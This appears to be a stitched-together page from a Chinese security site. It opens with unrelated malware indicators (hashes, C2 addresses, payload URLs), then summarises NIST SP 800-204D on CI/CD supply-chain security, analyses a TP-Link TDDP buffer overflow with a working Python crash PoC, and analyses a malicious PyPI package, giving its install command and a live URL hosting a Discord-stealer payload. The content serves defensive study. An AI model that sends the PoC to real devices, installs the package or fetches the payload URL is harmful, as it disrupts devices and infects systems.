9DC1C5D895721C079DD68B6CD82FB1BB
148B5D68A05D480D60A58F73980363A2
hxxps://lldwt-oss.oss-cn-beijing.aliyuncs.com
hxxps://ced-oss.oss-cn-shanghai.aliyuncs.com
hxxps://augenstern-1324625829.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl
hxxps://elephant-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl
hxxps://petrichor-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl
45.195.57[.]10:8800
45.204.11[.]10:8888
HireHackking
1.前言在敏捷開發的模式下,應用程序會通過DevSecOps 的敏捷軟件開發生命週期(SDLC)範式進行開發,並使用持續集成/持續交付(CI/CD)管道的流程。
然而,在軟件開發、供應和交付運營中涉及的數字應用、基礎設施服務和供應鏈數據等各種活動中(這些活動共同構成了數字供應鏈),攻擊者可以通過鏈條中的一個薄弱點,隱蔽地引入攻擊載體,對數字供應鏈進行攻擊,繼而引發廣泛的後果。
日前,美國國家標準與技術研究院(NIST)發布了特別出版物《DevSecOps CI/CD 管道中软件供应链安全的集成策略》 (NIST SP 800-204D)。本文基於此文,引發深入討論,闡述如何將數字供應鏈安全保證措施集成到CI/CD 管道中以保護底層活動完整性,從而確保將源代碼帶入構建、測試、打包和部署階段的CI/CD 管道活動不會受到損害。
2.數字供應鏈(DSC)的定義從高層次上講,軟件供應鍊是創建、轉換和評估軟件製品質量和政策一致性的一系列步驟的集合。這些步驟通常由使用和消費製品以生成新製品的不同參與者執行。例如,構建步驟使用一系列人工製品作為工具(如編譯器和鏈接器),並消耗人工製品(如源代碼)來生成新的人工製品(如編譯後的二進製文件)。
我們以往所熟知的軟件供應鍊主要是基於傳統軟件供應關係,通過資源和開發供應過程將軟件產品從供方傳遞給需方的網鏈系統。而這樣的定義如今已無法適應數字經濟時代由於技術創新帶來的產品服務、基礎設施和供應鏈數據等供應對象及供應關係的新變化。
因此,數字供應鏈的概念在軟件供應鏈的基礎上應運而生。數字供應鍊主要由數字應用、基礎設施服務、供應鏈數據三大主要供應對象組成。其中,數字應用包括軟件、Web、固件等,基礎設施服務是指雲服務、IT託管服務等,而供應鏈數據則包括基礎數據和敏感信息。
相較於軟件供應鏈,數字供應鏈更加明確的指出了基礎設施服務和供應鏈數據代表產品服務在供應活動中發揮的建設作用及重要性。

圖1:在數字供應鏈步驟中不同要素之間的互動
數字供應鏈中的大多數活動都會對最終的應用產品產生重大影響。因此,每項活動的安全性對於最終結果的安全性至關重要。在供應鏈引入、生產鏈、供應鏈交付運營的過程中,構建、打包和交付數字應用,重新打包和容器化以及基礎設施服務安全上線運營等都是數字供應鏈的核心範疇。
3.數字供應鏈安全:重點內容和風險因素3.1數字供應鏈安全的重點內容在研國標《信息安全技术 软件供应链安全要求》 明確了軟件供應鏈安全保護目標,分別包括提升軟件產品或服務中斷供應等風險管理能力、提升供應活動引入的技術安全風險管理能力、提升軟件供應鏈數據安全風險管理能力。
數字供應鏈安全作為軟件供應鏈安全概念的關鍵演進,其發展建立在軟件供應鏈安全的基礎之上。相比之下,數字供應鏈安全涉及的保護範圍更廣,保護對象的內涵更加豐富。數字供應鏈安全的重點內容包括:
•數字應用安全:圍繞數字應用的開發全流程與上線運營整體階段,包含應用安全開發(DevSecOps/SDL)、開源治理(合規/風險)和數字免疫(防禦左移,代碼疫苗)。
•基礎設施服務安全:包含雲原生安全(CNAPP)和供應鏈環境安全。
•供應鏈數據安全:包含API安全和應用數據安全。
3.2數字供應鏈中的風險因素數字供應鏈的風險因素通常包括:
•開發環境中的漏洞:開發環境對數字供應鏈的安全性構成了根本性的風險,不應將其作為構建流程的一部分加以信任。成熟的SDLC 流程只有在代碼審查和掃描程序到位後,才會將代碼和資產納入其軟件配置管理(SCM) 主線和版本分支。
•威脅參與方:一般是尋求以特權方式訪問數字供應鏈的外部攻擊者,或心懷不滿、製造內部威脅的員工或供應商;非惡意的威脅參與方也可能影響供應鏈的安全,如軟件工程師由於缺乏工具或為了方便使用而故意隱瞞,導致機密管理不善。
•攻擊向量:包括惡意軟件、代碼重用(代碼級別的引入)、依賴庫和依賴組件的引入、社會工程學、網絡攻擊、物理攻擊等。
•攻擊目標(即資產):包括源代碼、憑證、敏感信息,如個人身份信息(PII)、受保護健康信息(PHI)、知識產權(IP)、加密材料(如軟件成品簽名密鑰)和專有信息等。
•利用類型:入侵行為通常包括在數字供應鏈中註入易受攻擊或惡意的依賴項、可訪問其他系統的被盜憑證、將惡意代碼或漏洞代碼注入資源庫、通過提交合併請求竊取機密等。
4.CI/CD 管道的安全目標和可信實體在CI/CD 流水線中,實現數字供應鏈安全的一個共同方法是生成盡可能多的出處數據。出處數據與系統或系統組件的起源、開發、所有權、位置和更改的時間順序相關聯,包括促成這些更改或修改的人員和流程。在生成這些數據的同時,還應有相應的機制對其進行驗證、認證,並在決策中加以利用。
總的來說,CI/CD 管道需要添加的安全保證措施:
•在開發和部署第一方軟件時採用的數字供應鏈內部安全做法;
•在採購、集成和部署第三方軟件(即開源和商業軟件模塊)時採用的安全做法。
4.1 CI/CD 管道的安全目標在CI/CD 管道中應用數字供應鏈安全措施或實踐有兩個安全目標:
1.積極維護CI/CD 管道和構建流程。
2.確保上游源頭和製品(如資源庫)的完整性。
最常見的方法是在CI/CD 平台中引入安全措施,使開發人員能夠自動構建、測試和部署管道。
4.2 CI/CD 管道中需要信任的實體零信任架構側重於保護硬件系統(如服務器)、服務和應用程序本身等資源。訪問這些資產的實體(如用戶、服務和其他服務器)本身並不值得信任,零信任架構的主要目標就是建立這種信任。
在CI/CD 管道中,信任的範圍要大得多,至少需要以下步驟:
•參與執行各種數字供應鏈活動(如供應鏈引入、生產鏈、供應鏈交付運營)的實體應通過驗證憑證進行身份驗證。在認證的基礎上,根據企業業務政策,通過一個稱為授權的過程,為這些實體分配適當的權限或訪問權。
•應通過驗證與之相關的數字簽名來確保人工製品及其存儲庫的完整性。這種完整性保證產生信任。
•在整個CI/CD 系統中,上述信任的建立應該是一個循環往復的過程,因為製品要經過不同的存儲庫才能最終成為最終產品。
•每個構建步驟的輸入和輸出都應經過驗證,以確保預期組件或實體執行了正確的步驟。
表1舉例說明了典型的CI/CD 管道中需要信任的實體。

表1:信任實體
5.將數字供應鏈安全集成到CI/CD 管道中為了概述將數字供應鏈安全集成到CI/CD 管道中的策略,有必要了解這兩種管道各自的流水線及其總體安全目標。
激活CI/CD 管道的前提條件如下:
•加固CI/CD 執行環境(如虛擬機或Pod),減少攻擊面。
•為操作各種CI/CD 管道的人員(如應用程序更新人員、軟件包管理員、部署專家)定義角色。
•確定執行各種任務的細粒度授權,如生成代碼並提交到SCM、生成構建和軟件包,以及檢查各種製品(如構建和軟件包)進出版本庫。
•通過部署適當的工具,實現整個CI/CD 管道的自動化。 CI 和CD 流水線的驅動工具處於更高的級別,會調用一系列特定功能的工具,如用於從版本庫中檢出代碼、編輯和編譯、代碼提交和測試的工具,這包括軟件成分分析SCA工具、靜態應用安全測試SAST和動態應用安全測試DAST等。一般來說,驅動工具或構建控制平面的執行信任度要高於構建等單個功能步驟。
•為應用程序代碼的開發和部署定義CI/CD 管道活動和相關安全要求;基礎設施即代碼,包含部署平台的詳細信息;策略即代碼和配置代碼,指定運行時設置(如另一種標記語言(YAML) 文件)。
5.1 確保CI 管道中工作流的安全CI 管道中的流水線主要包括構建操作、版本庫(公共和私有)的PULL/PUSH操作、軟件更新和代碼提交。
用於安全運行CI 管道的框架的總體安全目標包括:
•同時支持雲原生應用和其他類型應用的能力。
•符合標準的證據結構,如元數據和數字簽名。
•支持多種硬件和軟件平台。
•支持生成證據的基礎設施(例如SBOM 生成器、數字簽名生成器)。
5.1.1 安全構建要在構建過程中獲得數字供應鏈安全保證,需要完成以下任務:
1)指定有關構建的政策,包括使用安全隔離平台執行構建並加固構建服務器,用於執行構建的工具,以及執行構建流程的開發人員所需的身份驗證/授權。
2)使用代理和策略執行引擎等技術執行這些構建策略。
3)確保同時生成構建認證的證據,以證明在軟件交付期間符合安全構建流程。
促進第二項任務的常用技術是將CI 工具的命令與收集證據的功能結合起來,並最終創建整個SDLC 的證據跟踪。
第一類證據來自構建系統本身,它應能確認所使用的工具或流程處於隔離環境中。這可提供內部操作保證。第二類應收集的證據包括最終構建製品、文件、庫和製品中使用的其他材料以及所有事件的哈希值。然後,由構建框架中不受開發人員控制的可信組件使用數字證書對其進行簽名,以創建證書,從而為消費者提供軟件質量的可驗證證明,使他們能夠獨立於軟件生產者驗證該製品的質量,從而為消費者提供保證。在這種情況下,製品是由一系列CI 流程步驟生成的構建。
就'同時生成證據'而言,生成的證據應由信任度或隔離度高於構建本身的流程啟用,以防止篡改。此類證據的生成需要在構建過程中進行驗證。
構建階段的認證由以下部分組成:
1.環境認證:涉及CI 流程發生時的系統清單,一般指運行構建流程的平台。平台的組件(如編譯器、解釋器)必須經過加固、隔離和安全處理。
2.過程認證:涉及將原始源代碼或材料轉化為人工製品的計算機程序(如編譯器、打包工具)和/或對該軟件進行測試的程序(如代碼測試工具)。對於只觀察CI 流程的工具來說,有時很難區分哪些數據應填入流程證明,哪些數據應填入材料認證。執行源轉換的工具讀取的文件可能會影響轉換工具的選擇,也可能包含在轉換本身的輸出中。因此,流程證明的填充應被視為'盡力而為'。
3.材料認證:涉及任何原始數據,可包括配置、源代碼和其他數據(如依賴關係)。
4.製品認證:製品是CI 流程的結果或成果。例如,如果CI 流程步驟涉及在C 語言編寫的源代碼上運行編譯器(如GNU 編譯器集(GCC)),那么生成物就是該源代碼的可執行二進製文件。如果該步驟涉及在同一源代碼上運行SAST 工具,則生成物將是'掃描結果'。生成該製品的步驟可以是最終步驟,也可以是中間步驟。與新生成產品有關的證明屬於人工製品證明類別。
與簽名證據(即認證)及其存儲相關的要求必須包括以下內容:
•認證必須使用安全密鑰進行加密簽名。
•存儲位置必須防篡改,並使用強大的訪問控制加以保護。
這些認證可用於評估政策合規性。政策是一份簽名文件,其中包含了對要驗證的製品的要求。該策略可能包括檢查參與CI 流程的每個職能部門是否使用了正確的密鑰來生成證明,是否找到了所需的證明,以及是否指定了根據相關元數據評估證明的方法。該策略使核查人員能夠在製品生命週期的任何時刻跟踪其合規狀態。
上述能力共同提供了以下保證:
•軟件由授權系統按照正確的步驟順序使用授權工具(如每個步驟的基礎設施)構建。
•沒有證據表明存在潛在的篡改或惡意活動。
5.1.2 對存儲庫進行安全的PULL-PUSH操作數字供應鏈的第一項安全任務是確保源代碼開發實踐的安全。在CI/CD 管道中,代碼駐留在資源庫中,由授權開發人員使用PULL 操作提取、修改,然後使用PUSH 操作放回資源庫。要授權這些PULL-PUSH 操作,需要兩種形式的檢查:
1.授權執行PULL-PUSH操作的開發人員所需的驗證類型。開發人員提出的請求必須與其角色(如應用程序更新者、軟件包管理器)相符。擁有'合併審批'權限的開發人員不能審批自己的合併。
2.代碼庫中代碼的完整性值得信賴,可用於進一步更新。
確保代碼庫中代碼可信度的各種機制包括:
•PULL-PUSH請求1:項目維護者應對推送的變更中涉及的所有製品進行自動檢查,如單元測試、襯墊、完整性測試、安全檢查等。
•PULL-PUSH請求2:只有在對工具源代碼來源的可信度有信心的情況下,才能使用這些工具運行CI 流水線。
•PULL-PUSH請求3:版本庫或源代碼管理系統(如GitHub、GitLab)應a) 在沙箱環境中運行CI 工作流,不允許訪問網絡、任何特權訪問或讀取機密;或b) 具有內置保護功能,可延遲CI 工作流的運行,直至獲得具有寫入權限的維護者批准。當外部貢獻者向公共版本庫提交拉取請求時,這種內置保護就會生效。這種保護的設置應該是最嚴格的,例如'要求所有外部合作者批准'。
•PULL-PUSH請求4:如果源代碼管理系統中沒有內置保護功能,則需要具有以下功能的外部安全工具:
評估和加強SCM系統安全態勢的功能,無論有無策略(如開放策略代理(OPA)),都能評估SCM賬戶的安全設置,並生成一份包含可行建議的狀態報告。
通過檢測和修復錯誤配置、安全漏洞和合規問題,提高源代碼管理系統安全性的功能。
5.1.3 軟件更新期間證據生成的完整性軟件更新過程通常由一類特殊的軟件開發工具執行,該工具被稱為軟件更新系統。對軟件更新系統的威脅主要針對證據生成過程,目的是清除更新的痕跡,阻止確定更新是否合法的能力。
軟件更新系統有多種類型:
•軟件包管理器負責管理系統中安裝的所有軟件
•只負責個別已安裝應用程序的應用程序更新程序
•軟件庫管理器,用於安裝可增加功能的軟件,如插件或編程語言庫。
軟件更新系統的主要任務是識別給定更新票據所需的文件,並下載可信文件。乍一看,建立下載文件信任所需的唯一檢查似乎就是通過驗證與單個文件或軟件包相關的元數據上的簽名來執行的各種完整性和真實性檢查。然而,簽名生成過程本身可能會受到已知攻擊的影響,因此軟件更新系統需要許多與簽名生成和驗證相關的其他安全措施。
為軟件更新系統提供安全保障的不斷發展的框架已將其中許多必要的安全措施納入其規範,並為未來的規範規定了其他一些措施。框架是一套庫、文件格式和實用程序,可用於確保新的和現有軟件更新系統的安全。框架應通過要求在執行簽名操作前滿足第5.1.1節中定義的策略來保護簽名操作。以下是該框架的部分共識目標:
•該框架應能防範對軟件更新系統所執行任務的所有已知攻擊,如元數據(哈希值)生成、簽名過程、簽名密鑰管理、執行簽名的機構的完整性、密鑰驗證和簽名驗證。
•該框架應提供一種方法,通過支持具有多個密鑰和閾值或法定人數信任的角色(旨在使用單個密鑰的最低信任角色除外),將密鑰洩露的影響降至最低。對使用高危密鑰的角色來說,密鑰洩露的影響應該是最小的。因此,在線密鑰(即以自動方式使用的密鑰)不應用於客戶最終信任其可能安裝的文件的任何角色。當密鑰在線使用時,應格外小心保管,例如將其存儲在硬件安全模塊(HSM) 中,並且只有在被簽名的製品通過第5.1.1節中定義的策略時才允許使用。
•該框架必須足夠靈活,以滿足各種軟件更新系統的需求。
•該框架必須易於與軟件更新系統集成。
5.1.4 安全代碼提交代碼提交前應進行適當形式的測試,且必須滿足以下要求:
•SAST 和DAST 工具(涵蓋開發中使用的所有語言)應在CI/CD 管道中運行,並向開發人員和安全人員提供代碼覆蓋率報告.
•如果使用開源模塊和庫,則必須列舉、了解和評估依賴關係(通過使用SCA 工具,如源鑑SCA開源威脅管控平台)。此外,還必須測試它們應滿足的安全條件。依賴關係文件檢測器應檢測所有依賴關係,包括傳遞依賴關係,最好不限制要分析的嵌套依賴關係或傳遞依賴關係的深度。
代碼提交過程中所需的一種安全措施是防止秘密進入提交的代碼。這可以通過對秘密的掃描操作來實現,並產生一種稱為推送保護的功能。該功能應滿足以下要求:
•提交請求1:(例如,個人訪問令牌) 評估已提交代碼是否符合組織政策,包括是否存在密鑰和應用程序編程接口(API) 令牌等機密。檢測到的秘密應通過安全儀錶盤等媒體顯著顯示,並在檢測到違反政策時生成適當的警報,同時記錄補救違反政策的方法。
•提交請求2:分配給管理員的所有版本庫都應啟用推送保護功能。此類保護應包括開發人員身份/授權驗證、強制執行開發人員對代碼提交的簽名以及文件名驗證。
5.2 確保CD管道中流水線的安全以下是CD 過程中應使用的一些盡職調查措施。這些措施可以通過定義允許或不允許部署製品的驗證策略來實施。
•部署請求1:對於已在版本庫中並準備部署的代碼,應調用安全掃描子功能來檢測代碼中是否存在密鑰和訪問令牌等機密。在許多情況下,即使在代碼填充之前,也應掃描版本庫中是否存在秘密,因為根據版本庫的可見性,秘密出現在版本庫中可能意味著憑證已經洩露。
•部署請求2:在合併拉取請求之前,應該可以通過依賴性審查的形式查看任何易受攻擊版本的詳細信息。
•部署請求3:如果已經建立了安全的構建環境和相關流程,那麼就應該可以指定部署的製品(即容器鏡像)必須是由該構建流程生成的,這樣才能允許部署。
•部署請求4:應該有證據表明容器鏡像已進行過漏洞掃描並證明了漏洞發現。漏洞掃描的一個重要因素是運行時間。由於用於掃描製品的工具會不斷更新以檢測新出現的漏洞,因此與過去的掃描結果相比,最近的掃描結果更有可能是準確的,並能提供更好的保證。這種技術可確保只有經過驗證的容器鏡像才能進入環境,並在運行期間保持可信,從而使DevOps 團隊能夠實施主動的容器安全態勢。具體來說,應該可以根據組織定義的策略允許或阻止鏡像部署。
•部署請求5:應定期檢查發行版構建腳本是否存在惡意代碼。需要執行的具體任務包括:
容器鏡像一經構建,甚至在推送到註冊表之前,就應進行漏洞掃描。早期掃描功能也可以內置到本地流水線中。
用於與包含容器鏡像和語言包的資源庫進行交互的工具應能與CD工具集成,從而使所有活動成為自動CD管道的組成部分。
5.2.1 安全CD 管道-GitOps在CI/CD 管道中,構建期間和之後的所有操作都涉及與中央存儲庫(如Bitbucket、GitHub 和GitLab)的交互。這些操作統稱為GitOps,是一種由Argo CD 和Flux 等開源工具推動的自動化部署流程。 GitOps 既適用於基礎架構代碼,也適用於應用代碼,包括提交、分叉、拉取和推送請求。
GitOps 的使用範圍如下:
•將基礎設施作為代碼進行管理
•管理和應用群集配置
•將容器化應用程序及其配置自動部署到分佈式系統。
在部署前創建配置數據、捕獲與特定版本相關的所有數據、運行期間修改軟件以及執行監控操作時,應執行以下數字供應鏈安全任務:
•GitOps請求1:流程應依靠自動化而非手工操作。例如,應避免手動配置數百個YAML 文件來回滾Git 倉庫集群上的部署。
•GitOps請求2:為GitOps 提供便利的軟件包管理器應保存已發佈軟件包的所有數據,包括所有模塊的版本號、所有相關配置文件以及其他適合軟件運行環境的元數據。
•GitOps請求3:不應在運行時手動應用變更(如kubectl)。相反,應該對相關代碼進行更改,並觸發包含這些更改的新版本。這樣才能確保Git 提交始終是集群中運行內容的唯一真實來源。
•GitOps請求4:由於Git 倉庫包含應用程序定義和配置代碼,因此應自動提取並與這些配置的指定狀態進行比較(即監控和補救漂移)。對於任何偏離指定狀態的配置,可執行以下操作:
管理員可以選擇自動將配置重新同步到定義的狀態。
應就差異發出通知,並進行人工補救。
5.3 數字供應鏈CI/CD 管道安全-實施策略如果不對基本業務流程和運營成本造成巨大影響,所有企業都不可能一次性實施數字供應鏈安全所需的大量步驟。相反,提供數字供應鏈安全性的解決方案可大致分為以下幾類:
1.通過與DevSecOps 管道中每項任務相關的功能確保數字供應鏈安全的解決方案:
a.通過確保不被篡改的構建管道來驗證軟件的正確構建,例如提供對構建過程中使用的依賴關係和步驟的可驗證可見性,因為被破壞的依賴關係或構建工具是中毒流水線的最大來源。
b.為交付流水線的每個步驟指定核對清單,以便為實施提供指導,並檢查和執行對核對清單遵守情況的控制。
2.通過數字簽名和證書確保完整性和出處的解決方案。
3.確保運行代碼為最新代碼的策略,如製定'構建期限'(即超過一定期限的代碼不應啟動),以盡可能使生產過程與軟件源中已提交的代碼保持一致。
4.保護CI/CD 客戶端,防止惡意代碼竊取機密信息(如專有源代碼、簽名密鑰、雲憑證)、讀取可能包含機密的環境變量,或將數據外洩到敵方控制的遠程端點。
6.結語敏捷開發模式下數字應用以最快速度將代碼從IDE或Git存儲庫帶到生產環境中,加快了部署速度,提升了業務系統上線的效率,但數字供應鏈的安全性對於敏捷開發範式來說同樣至關重要,任何一個漏洞都可能造成巨大的損失。
作為數字供應鏈安全開拓者和DevSecOps敏捷安全領導者,懸鏡將持續帶來專業的國際化視角,與行業同仁及用戶共同探討交流,踐行網絡安全社會責任,守護中國數字供應鏈安全。
HireHackking

標題:TP-Link TDDP 緩衝區溢出安全漏洞解析

TDDP 服務程序在UDP 端口1040 上監聽時,處理數據時未能正確檢查長度,這導致了內存溢出,破壞了內存結構,最終引發了服務中斷。
本文深入分析了一個在2020 年向TP-Link 報告的安全漏洞。遺憾的是,至今沒有CVE 編號分配給這個漏洞,因此相關的詳細信息並未公之於眾。通常,閱讀技術分析報告能夠帶來豐富的見解和學習機會。我堅信,公開分享研究方法和成果對整個行業以及廣大的學習者、學生和專業人士都有著積極的意義。
在本文中,我將使用Shambles這個工具來識別、逆向分析、模擬並驗證這個導致服務中斷的緩衝區溢出問題。如果您對Shambles 感興趣,可以通過加入Discord 服務器並查閱FAQ 頻道來了解更多信息。
首先,我們來介紹一下TDDP 協議,這是一種在專利CN102096654A中詳細描述的二進制協議。您需要了解的所有協議細節都在專利描述中。不過,我會在這里為您做一個簡要的總結。





TDDP 是TP-LINK 設備調試協議的縮寫,它主要用於通過單個UDP 數據包進行設備調試。這種協議對於逆向分析來說非常有趣,因為它是一個需要解析的二進制協議。 TDDP 數據包的作用是傳輸包含特定消息類型的請求或命令。下圖展示了一個TDDP 數據包的結構。


0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ver | Type | Code | ReplyInfo |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktLength |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktID | SubType | Reserve |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[0-3] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[4-7] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[8-11] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[12-15] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


當您需要發送命令時,您需要調整Type和SubType這兩個頭部字段的值。據我所知,所有返回的數據都會使用DES 加密,並且通常需要使用設備的用戶名和密碼來解密。發送給設備的配置數據也需要加密。 DES 密鑰是通過結合用戶名和密碼的MD5 哈希值來生成的,具體做法是取哈希值的前8個字節。
下面這張圖展示了整個緩衝區溢出的鏈條。我們將一步步分析,但您可能需要不時地回到上圖來對照。





讓我們來詳細分析一下。下面展示的函數我們稱之為tddpEntry(sub_4045f80x004045F8),這是整個鏈條的起點。這個函數負責使用TDDP 協議處理通信,通過不斷檢查傳入的數據。它從recvfrom函數接收UDP 數據,該函數用於從dword_4178d0指定的套接字接收數據。





接收到的數據被存儲在緩衝區(varf4)中。在將數據傳遞給TddpPktInterfaceFunction(sub_4045f8+3300x00404B40)進行處理時,並沒有對接收到的數據大小進行驗證。如下圖所示,GetTddpMaxPktBuff(sub_4042d00x004042D0)函數返回的值是0x14000。





接下來是TddpPktInterfaceFunction函數的實現。





上面的條件判斷塊會處理數據包的第一個字節p0等於2 的情況,即代碼中的*(byte *)p0==2。該函數通過設置數據包中的特定值和一個新的存儲空間指針來傳遞數據。然後,它調用tddp_versionTwoOpt(sub_404b400x00405990)函數來進一步處理數據包。在處理數據包時,off_42ba8c的大小和分配的最大長度為0x14000。 tddp_versionTwoOpt函數將數據傳遞給tddp_deCode(sub_404fa40x00405014)進行解碼驗證。





tddp_deCode函數會設置數據、DES 加密長度和指針,然後嘗試解碼傳入的TDDP 數據包(p0和p1)並驗證解密數據的完整性。如果解碼成功,它會更新解碼後的數據並返回0。
簡而言之,tddp_deCode函數的作用是解碼TDDP 數據包。在tddp_deCode函數中,數據和DES 加密長度會被存儲在byte[4-8]中,並且在調用des_min_do函數進行解密之前,會設置一個指向新存儲數據的指針。值得注意的是,des_min_do是/lib/libutility_lib.so庫提供的一個函數。



同樣地,大小和長度等參數也會被傳遞給des_min_do函數用於解密。





在從輸入數據中提取必要的字段後,該函數使用提取的字節byte[4-8]來計算DES 加密長度,並將指針設置指向新存儲的數據,這個指針由變量arg4表示。


//Further up in the function
arg0=p0;
arg4=p1; //Pointer of the newly stored data
//Line 99
var34=des_min_do(arg0 + 28, var38, arg4 + 28, v18);


這裡,arg4作為參數傳遞給des_min_do函數,這個函數我們已經多次提到,它負責對數據進行解密。解密後的數據會從偏移量arg4 + 28的位置開始存儲。


//Line 96
v18=GetTddpMaxPktBuff() - 28;


結果值(v18)被用作後續操作的界限。上面的代碼片段是在調用函數sub_4042d0()時的,它返回解密數據的大小。然後,從這個大小中減去28,可能是為了計算某些頭部的長度。這個值作為第四個參數傳遞。
這段內容有點長,也可能有些混亂,所以讓我們來回顧一下。在des_min_do函數中,arg4和v18是傳遞給函數的參數。變量arg4包含了p1的值,作為第三個參數傳遞給des_min_do。 arg4用於提供DES 數據的長度給des_min_do函數。 v18也作為第四個參數傳遞給des_min_do,並且被賦值為GetTddpMaxPktBuff() - 28的結果。
現在讓我們來看看des_min_do函數的實現。





如上圖所示,當傳入的DES 加密長度大於最大尺寸限制0x14000時,函數會直接返回0,而不進行解密。因此,如果v6是0,v5小於p1,那麼DES 加密密鑰將不會使用DES_set_key_unchecked設置,也不會執行解密。所以在這個時候,des_min_do函數將返回0。
在tddp_deCode函數中執行了一些其他操作後,我們來到了MD5 摘要驗證環節。



在tddp_deCode函數處理完畢後,會提取存儲在byte[13-28]中的MD5 摘要,並與當前數據集的整個MD5 摘要進行比較。在比較MD5 摘要時,原始的MD5 摘要byte[13-28]位置會被設置為0。如下圖所示的內存寫操作。


*(byte *)(arg4 + var38 + 28)=0;


由於arg4是包含MD5 摘要的數據結構,var38保存了緩衝區中MD5 摘要開始的偏移量。通過將這個位置的字節設置為0,它有效地修改了存儲的MD5 摘要,該摘要存儲在緩衝區的byte[13-28]中。這種修改使得後續的比較能夠確定重新計算的MD5 摘要是否與原始存儲的MD5 摘要匹配。
所以!存儲在byte[13-28]中的MD5 摘要被提取出來。然後,這個提取的MD5 摘要會與MD5 摘要數據進行比較,其中原始MD5 摘要byte[13-28]位置被設置為0。如果驗證過程正確(即,提取的MD5 摘要與當前數據的MD5 摘要相匹配),tddp_deCode函數將繼續處理,將新存儲內容的指針指向byte[4-8] + 28的位置,並設置字節位置為0。由於byte[4-8]是可以控制的,我們可以引發溢出(如果值大於0x14000),將其寫為0會導致內存損壞,因為它破壞了內存結構並引發了服務中斷(DoS)狀態。
讓我們用Shambles 來做一個概念驗證(POC)吧!這個過程實際上只需要5分鐘。只需創建一個虛擬機並將其映射到包含所有固件二進製文件的第二個文件系統。





然後我們只需啟動虛擬機,如下所示,無需對固件做任何修改,它就能完美運行。





通過內置的SSH 控制台,我們將手動啟動httpd程序。





我們可以通過設置反向代理並訪問頁面來驗證它是否正常工作。




我們還將啟動tddpd服務。





在我們嘗試對系統進行任何操作之前,始終要驗證所需的服務是否正在運行。我們在下圖確認tddpd正在端口1040上運行。





我將通過本地端口10461訪問虛擬機的端口1040。
我們需要在byte[4-8]中將v0設置為0x01000000。 UDP 數據包仍然必須是有效的並被識別。所以根據專利信息,我們將設置以下值:


byte[0]: Ver
byte[4-8]: PktLength
byte[13-28]: MD5 digest
byte[29-N]: DES
---------------------------------
TDDP version='02'
TDDP user config='01 00 00 00'
TDDP code request type='01'
TDDP reply info status (OK)='00'
TDDP padding='%0.16X' % 00





最終的概念驗證代碼如下,


import socket
import hashlib
bytes12=bytes([0x02,0x01,0x00,0x00,
0x01,0x00,0x00,0x00,
0x12,0x34,0x56,0x78])
magic=(0x00).to_bytes(length=16, byteorder='big')
tmp_data_bytes=bytes12 + magic
md5_bytes=hashlib.md5(tmp_data_bytes).digest()
data_bytes=bytes12 + md5_bytes
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(data_bytes, ('127.0.0.1', 10461))
data=s.recv(1024)
print('recv:' + data.decode())
s.close()


一旦執行,我們可以查看Shambles 虛擬機的日誌,發現tddpd程序已經崩潰。





通過調試,我們可以確認崩潰的原因是傳入的v0=0x01000000超出了範圍,導致寫入值為0,從而引發了崩潰。



原文鏈接:Lian Security
HireHackking
概述上週(2024年3月6號),懸鏡供應鏈安全情報中心在Pypi官方倉庫(https://pypi.org/)中捕獲1起新的Py包投毒事件,Python組件tohoku-tus-iot-automation從3月6號開始連續發布6個不同版本惡意包,其中多個版本惡意代碼使用PyArmor進行加密混淆保護,這些惡意包主要針對Windows平台的Python開發者,除了會竊取系統基礎信息和主流瀏覽器(Edge、Chrome)用戶密碼數據,還會遠程下載木馬程序植入到開發者係統中盜取系統密碼。

python惡意組件
截至目前,惡意組件tohoku-tus-iot-automation在Pypi官方倉庫上已被下載461次。

tohoku-tus-iot-automation惡意組件下載量
該惡意組件包在國內主流Pypi鏡像源(清華大學、騰訊雲等)仍可正常下載、安裝該惡意包,因此潛在的受害者數量將會更多。

以國內清華大學鏡像源為例,可通過以下命令測試安裝該惡意組件包。
pip3Installtohoku-tus-iot-automation-ihttps://pypi.tuna.tsinghua.edu.cn/simple
投毒分析當Python開發者使用pip install從Pypi官方倉庫或下游鏡像源直接安裝或者依賴引用惡意組件包時,將自動觸發執行組件包setup.py中的惡意攻擊代碼。 setup.py被PyArmor加密混淆保護。

原始的惡意代碼如下所示:

惡意代碼主要包括4大攻擊步驟:
收集系統信息
收集瀏覽器用戶密碼
遠程下載執行竊密木馬
數據盜取外傳
Part1收集系統信息主要收集操作系統版本、處理器、網卡及IP數據、主機名、系統用戶列表、系統進程列表等敏感信息。

系統信息收集功能
Part2收集瀏覽器用戶密碼從存儲瀏覽器(Edge、Chrome)用戶數據的SQLite3數據庫文件中提取用戶密碼。

瀏覽器用戶密碼收集功能
Part3遠程下載執行竊密木馬惡意組件將從遠程下載多個具有竊密功能的木馬後門程序植入到受害者係統中,用於收集Discord賬戶數據以及Windows系統密碼。
盜取Discord數據的木馬程序被偽裝成png圖片隱藏在代碼託管平台SourceForge上。
https://sourceforge.net/projects/iot-automate/files/iotautomatelogo.png

Discord竊密木馬
盜取Windows系統密碼主要由3個木馬後門程序(k7841286.exe、k7841286.dll和readings.exe)負責。

遠程下載執行竊密木馬後門
